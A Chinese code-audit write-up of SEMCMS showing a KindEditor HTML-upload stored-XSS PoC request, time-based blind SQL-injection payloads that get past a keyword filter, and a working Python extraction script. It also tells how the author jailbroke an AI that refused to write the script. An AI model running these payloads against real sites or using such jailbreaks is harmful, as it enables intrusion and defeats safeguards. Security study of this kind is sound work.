文章总结： 这篇文章详细分析了SEMCMS的安全漏洞，包括通过kindeditor编辑器4.1.10版本导致的存储型XSS漏洞和前台SQL注入漏洞。作者深入分析了SQL注入的过滤函数verify_str()和test_input()，并提供了绕过方法，如使用or+like和时间盲注技术。文章还提供了实用的代码审计方法和工具，如用于查找PHP文件的脚本，帮助安全人员快速定位可能存在漏洞的文件。作者强调了在代码审计中先确定可访问文件的重要性，并提供了具体的利用payload和注入脚本。
综合评分： 93
文章分类： 代码审计,漏洞分析,WEB安全,漏洞POC,安全工具

【PHP代码审计】某SEMCMS代码审计学习

原创

gna

安全驾驶舱

2025年12月22日 14:52
陕西

前言

PHP代码审计学习，所用CMS为个人感觉很适合审计学习的一套CMS，涉及到前台文件分析、SQL注入点查找、过滤绕过分析等，很值得学习。

正文

下载安装

直接去下载官网即可

https://www.sem-cms.com/

安装

这里采用phpstudy进行安装：

这里有个坑点就是：PHP最好选择7.4以下的，否则有些文件中的语法他不支持。

这里附上官方的安装说明：https://www.sem-cms.com/help/?id=892&tid=50

根据提示安装好后，提示后台为：域名+dPVnrB_Admin/

存储型XSS

先看下整体的代码目录，很明显这里圈出来的dPVnrB_Admin/目录是后台目录

而点开edit/目录，发现他使用了kindeditor编辑器

打开kindeditor.js文件，看一下版本：4.1.10，属于是有洞的版本

浏览器访问一下该js文件，可以访问

网上找一下利用方式，根据我们的实际路径，访问/Edit/php/upload_json.php?dir=file

响应200没问题，就是没网传复现教程里的回显，这可能是该CMS做了魔改或者权限限制，不打紧我们直接发送Poc包试试就知道了：

这里顺带提一句，网上找Poc，全是清一色的复制个html文件，然后让上传，也不考虑CORS的问题，真是醉了，这里直接贴出Poc，搞清楚网站真实路径，直接拿Poc打就行了，不用整什么html文件，太麻烦了！

POST /Edit/php/upload_json.php?dir=file HTTP/1.1Host: xxx.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflate, brSec-Fetch-Dest: emptySec-Fetch-Mode: corsConnection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundarypfEGN549yusZTYG3Content-Length: 138------WebKitFormBoundarypfEGN549yusZTYG3Content-Disposition: form-data; name="imgFile"; filename="1.html"123------WebKitFormBoundarypfEGN549yusZTYG3--

ok，上传成功，

接着我们去访问刚刚上传的文件，成功访问，可以造成前台存储型xss

看眼upload_json.php相关代码，发现htm和html都在白名单里，这也是从审计角度来看我们为啥能上传成功的原因

疑似前台文件查找/处理

回过神来，我们接着刚才看到的目录审计，根据目录结构，以及刚才例子中的URL访问路径来看，这套CMS应该就是自己开发的，没用诸如thinkphp之类的框架。

当然最舒服的是，他的路由也是直来直去，就是域名/目录/文件名的方式访问，没那么多的弯弯绕绕。

如此一来，我们可以使用黑白结合的方式，也就是把它所有的PHP文件给他扒拉出来，然后放到yakit去爆破，看哪些PHP文件是可以未授权/前台访问的，从而优先审计这类文件。

脚本如下，使用时指定目录即可：

import&nbsp;os &nbsp;import&nbsp;sys &nbsp;def&nbsp;scan_php_files(directory): &nbsp;&nbsp; &nbsp;&nbsp;""" &nbsp;&nbsp; &nbsp;&nbsp;遍历指定目录下的.php文件，生成带统一格式的相对路径 &nbsp;&nbsp; &nbsp;&nbsp;格式：/subdir/file.php &nbsp;&nbsp; &nbsp; """ &nbsp;&nbsp; &nbsp; php_files = [] &nbsp;&nbsp; &nbsp;&nbsp;# 验证目录是否存在 &nbsp;&nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;os.path.isdir(directory): &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"错误：目录 '{directory}' 不存在或无法访问") &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(1) &nbsp;&nbsp; &nbsp;&nbsp;# 遍历目录树 &nbsp;&nbsp; &nbsp;&nbsp;for&nbsp;root, dirs, files&nbsp;in&nbsp;os.walk(directory): &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;file&nbsp;in&nbsp;files: &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;file.endswith('.php'): &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; full_path = os.path.join(root, file) &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; relative_path = os.path.relpath(full_path, start=directory) &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 统一路径格式：替换反斜杠为正斜杠，并在开头添加斜杠 &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; formatted_path =&nbsp;'/'&nbsp;+ relative_path.replace('\\',&nbsp;'/') &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; php_files.append(formatted_path) &nbsp;&nbsp; &nbsp;&nbsp;# 写入result.txt &nbsp;&nbsp; &nbsp;&nbsp;with&nbsp;open('result.txt',&nbsp;'w', encoding='utf-8')&nbsp;as&nbsp;f: &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;file_path&nbsp;in&nbsp;php_files: &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; f.write(file_path +&nbsp;'\n') &nbsp;&nbsp; &nbsp;&nbsp;print(f"成功找到&nbsp;{len(php_files)}&nbsp;个.php文件，格式化路径已保存到 result.txt") &nbsp;if&nbsp;__name__ ==&nbsp;'__main__': &nbsp;&nbsp; &nbsp;&nbsp;# 检查命令行参数 &nbsp;&nbsp; &nbsp;&nbsp;if&nbsp;len(sys.argv) !=&nbsp;2: &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("使用方法: python getPathl.py <目标目录>") &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("示例: python getPathl.py /var/www/project") &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(1) &nbsp;&nbsp; &nbsp; target_dir = sys.argv[1] &nbsp;&nbsp; &nbsp; scan_php_files(target_dir)

添加到yakit，开跑

如图，这样可以不用仔细分析代码，就能快速获取到前台【疑似】可访问文件/目录，

否则的话，seay爆出来这么多疑似漏洞，看着就头大，也不知道从哪儿下手好

前台SQL注入

OK，我们接着看。

基于上述我们的爆破，可以得到下面的目录大概是前台可以访问的：

/Include/Templete/Edit

所以我们接下来就优先看这三个目录下的文件。

首先定位到/include/web_inc.php文件

如代码和图片所示，做了啥操作呢：

1. 首先使用if条件，检查POST传参language ID的值是否存在；

    如果存在，使用test_input(verify_str())这俩函数嵌套对其输入值进行检查；

    如果不存在，使用verify_str()函数对输入值进行检查；

2. 检查通过且language ID不为空时，拼接带入sql查询语句；

if (isset($_POST["languageID"])){  $Language=test_input(verify_str($_POST["languageID"]));}else{  $Language=verify_str($Language);  }if(!empty($Language)){      $query=$db_conn->query("select * from sc_tagandseo where languageID=$Language");

1. 过滤函数分析

我们跟进这俩检测函数，先跟进verify_str()，该函数位于web_inc.php开头引入的同目录control.php文件中：

如图，该函数会调用inject_check_sql($sql_str)函数，对传参进行校验，可以看到过滤了一些常见的sql关键字和字符：

/select|and|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/iSQL关键字检测：select、and、insert、update、union、between、into&nbsp;特殊符号检测：=（赋值/比较）、%（通配符）、<（比较符）、*（通配符）、单引号'高危函数检测：load_file（读取文件）、outfile（写入文件）不区分大小写：修饰符i确保SeLeCt、UNION等变体同样被拦截

接着看另一个过滤函数test_input()，可以看到test_input()函数的过滤主要就是针对xss的：

function&nbsp;test_input($data)&nbsp;{&nbsp; &nbsp;&nbsp;// 去除输入数据两端的空白字符（空格/制表符/换行等）&nbsp; &nbsp;&nbsp;$data&nbsp;=&nbsp;trim($data);&nbsp; &nbsp;&nbsp;// 移除魔术引号自动添加的反斜杠（PHP <5.4的遗留特性处理）&nbsp; &nbsp;&nbsp;// 例如将"O\'Reilly"转为"O'Reilly"，避免双重转义问题&nbsp; &nbsp;&nbsp;$data&nbsp;=&nbsp;stripslashes($data);&nbsp; &nbsp;&nbsp;// HTML实体化处理（核心安全防护）&nbsp; &nbsp;&nbsp;// 防御XSS攻击：阻止<script>等标签在浏览器执行&nbsp; &nbsp;&nbsp;$data&nbsp;=&nbsp;htmlspecialchars($data, ENT_QUOTES);&nbsp; &nbsp;&nbsp;return&nbsp;$data;}

整体看完两个过滤函数，我们明白这里需要探讨verify_str()函数的绕过可能了，再放一下过滤的关键字及其解析：

/select|and|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/iSQL关键字检测：select、and、insert、update、union、between、into&nbsp;特殊符号检测：=（赋值/比较）、%（通配符）、<（比较符）、*（通配符）、单引号'高危函数检测：load_file（读取文件）、outfile（写入文件）不区分大小写：修饰符i确保SeLeCt、UNION等变体同样被拦截

2. 关键字绕过尝试一：报错注入

首先我们尝试使用报错注入绕过过滤。那为什么说使用报错注入可以绕过过滤呢？

因为这里是个SQL数字型的注入，我们不用去做闭合，可以直接拼接报错注入的语句。

而报错注入完美避开了它上面的过滤，如下面语句所示：

extractvalue(1,concat(0x7e,user(),0x7e,database()))#

所以我们拼接上面的报错注入语句试试。

但是发现啥也没有，返回的是空白页面：

OK，我们做一下调试，看下是哪里有问题。

可以看到，上面的报错注入语句，确实绕过了他写的过滤：

成功将注入语句传到了拼接查询的地方：

但是有个问题就是，全程跟下来，他没有写输出，没有将SQL查询的结果用echo等函数给输出出来，也就是说即使报错了也没回显我们看不到。

所以说即使存在注入，我们也没法利用，因为我们拿不到注入后的结果。

3. 关键字绕过尝试二：or+like

上面的过滤关键字中有and，，那我们只能用or去做拼接。

而只有当or左边条件为假时，才会执行右边的语句，所以我们需要让左边条件为假也就是给languageID赋一个不存在的值

select * from sc_tagandseo where languageID=0 or 1=1

附上测试截图：

like不必多说，模糊查询语句，最后给出注入语句：

0 or if(length(database()) like {{int(1-30)}},sleep(5),1)

结合上述注入语句，我们使用yakit爆破长度。

可以看到like 19的请求包一直卡住，也就是判断出该数据库名称长度是19（这里注入语句判断正确的时候，并不会sleep 5，而是请求会卡住）:

判断数据库名第一个字母

0x73是十六进制的s

0 or if(substr(database(),1,1) like 0x73,sleep(5),1)

为了方便，我们写个脚本跑一下数据库名（脚本见文末）：

这里提一嘴，为什么我们的payload是这样：

0 or if(substr(database(),1,1) like 0x73,sleep(5),1)

而不是

0 or if(substr(database(),1,1) like "s",sleep(5),1)

也即不能直接判断字符名，而是使用十六进制/ascii码的原因是什么呢？

还记得上面说的两个过滤函数，原因是检测函数中存在html转义，会将双引号转义掉，导致SQL语句没法正常执行。

如图：传入带双引号的payload，最后会被转义成”

navicat连接数据库查询测试发现，转义后是没法正常执行SQL语句的：

至此前台SQL注入就全部分析完毕了，至于后台SQL注入也没必要再分析了，因为绕过手法都是一样的。

不过时间盲注毕竟太慢了，有大佬想到了使用页面返回值不同进行判断的方式，非常巧妙的，具体可以参考：

https://github.com/Y4y17/CVE/blob/main/SemCms/SQL_Injection_1.md

当然了，这里还有两个问题，值得深入思考一下：

    1. 虽然现在我们能够注入出数据库名，甚至是用户名，但是如何注入出密码以及其他数据呢？

    2. 有大佬在判断后台SQL注入的时候，巧妙的采用了返回页面差异的方式，大大缩短了注入时间，该方面能否应用到前台呢？

彩蛋

起因是我让AI输出一个注入脚本，问了多次AI就是不愿意直接输出带网络请求的脚本，说是有安全限制：

然后想到之前看到有网安博主发的牛马打工人版越狱词，就想着试一下，然后就

也是没绷住！

脚本参考：

import argparseimport urllib.requestimport urllib.errorimport timeimport sysDB_LENGTH = 21  # 固定数据库长度常量TIMEOUT = 6     # 请求超时时间def getDatabase(url, timeout=TIMEOUT):    s = ''    print(f'[+] 开始Fuzz数据库名，目标URL: {url}')    for i in range(1, DB_LENGTH+1):        found = False        print(f'\n[!] 测试第 {i}/{DB_LENGTH} 位字符')        for j in range(32, 123):            payload = f'languageID=0 or if(ascii(substr(database(),{i},1)) like {j},sleep({timeout}),1);'            data = payload.encode('utf-8')            req = urllib.request.Request(url, data=data, headers={'Content-Type': 'application/x-www-form-urlencoded'})            start_time = time.time()            try:                with urllib.request.urlopen(req, timeout=timeout+1) as response:                    elapsed = time.time() - start_time                    if elapsed > timeout:                        char = chr(j)                        s += char                        print(f'[+] 发现字符: {char} (ASCII {j})')                        found = True                        break            except urllib.error.URLError as e:                if isinstance(e.reason, TimeoutError):                    char = chr(j)                    s += char                    print(f'[+] 发现字符: {char} (ASCII {j})')                    found = True                    break                else:                    print(f'\n[-] 网络错误: {e.reason}')                    break            except Exception as e:                # 明确捕获超时相关异常                if "timed out" in str(e).lower() or "timeout" in str(e).lower():                    char = chr(j)                    s += char                    print(f'[+] 发现字符: {char} (ASCII {j})')                    found = True                    break                else:                    print(f'\n[-] 意外错误: {e}')                    break        # 仅当未通过任何验证时才显示错误        if not found:            print(f'[-] 无法确定第 {i} 位字符')    print('\n[+] 数据库名:', s)    return sdef main():    parser = argparse.ArgumentParser(        description='SQL时间盲注Test',        epilog='示例: python sleep.py -u http://127.0.0.1/vuln.php',        add_help=True    )    parser.add_argument('-u', '--url', required=True, help='目标URL（如：http://example.com/vuln.php）')    args = parser.parse_args()    print('\nSQL时间盲注Test    print(f'目标URL: {args.url}')    print(f'超时设置: {TIMEOUT}秒')    print('='*40)    getDatabase(args.url, TIMEOUT)    print('\n[+] 攻击完成！')if __name__ == '__main__':    try:        main()    except KeyboardInterrupt:        print('\n[!] 用户中断测试。退出中...')        sys.exit(1)    except argparse.ArgumentError as e:        print(f'\n[!] 参数错误: {e}')        sys.exit(1)    except Exception as e:        print(f'\n[!] 意外错误: {e}')        sys.exit(1)

参考文献：

https://xz.aliyun.com/news/6718

https://github.com/Y4y17/CVE/blob/main/SemCms/SQL_Injection_1.md

END

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：安全驾驶舱 gna《【PHP代码审计】某SEMCMS代码审计学习》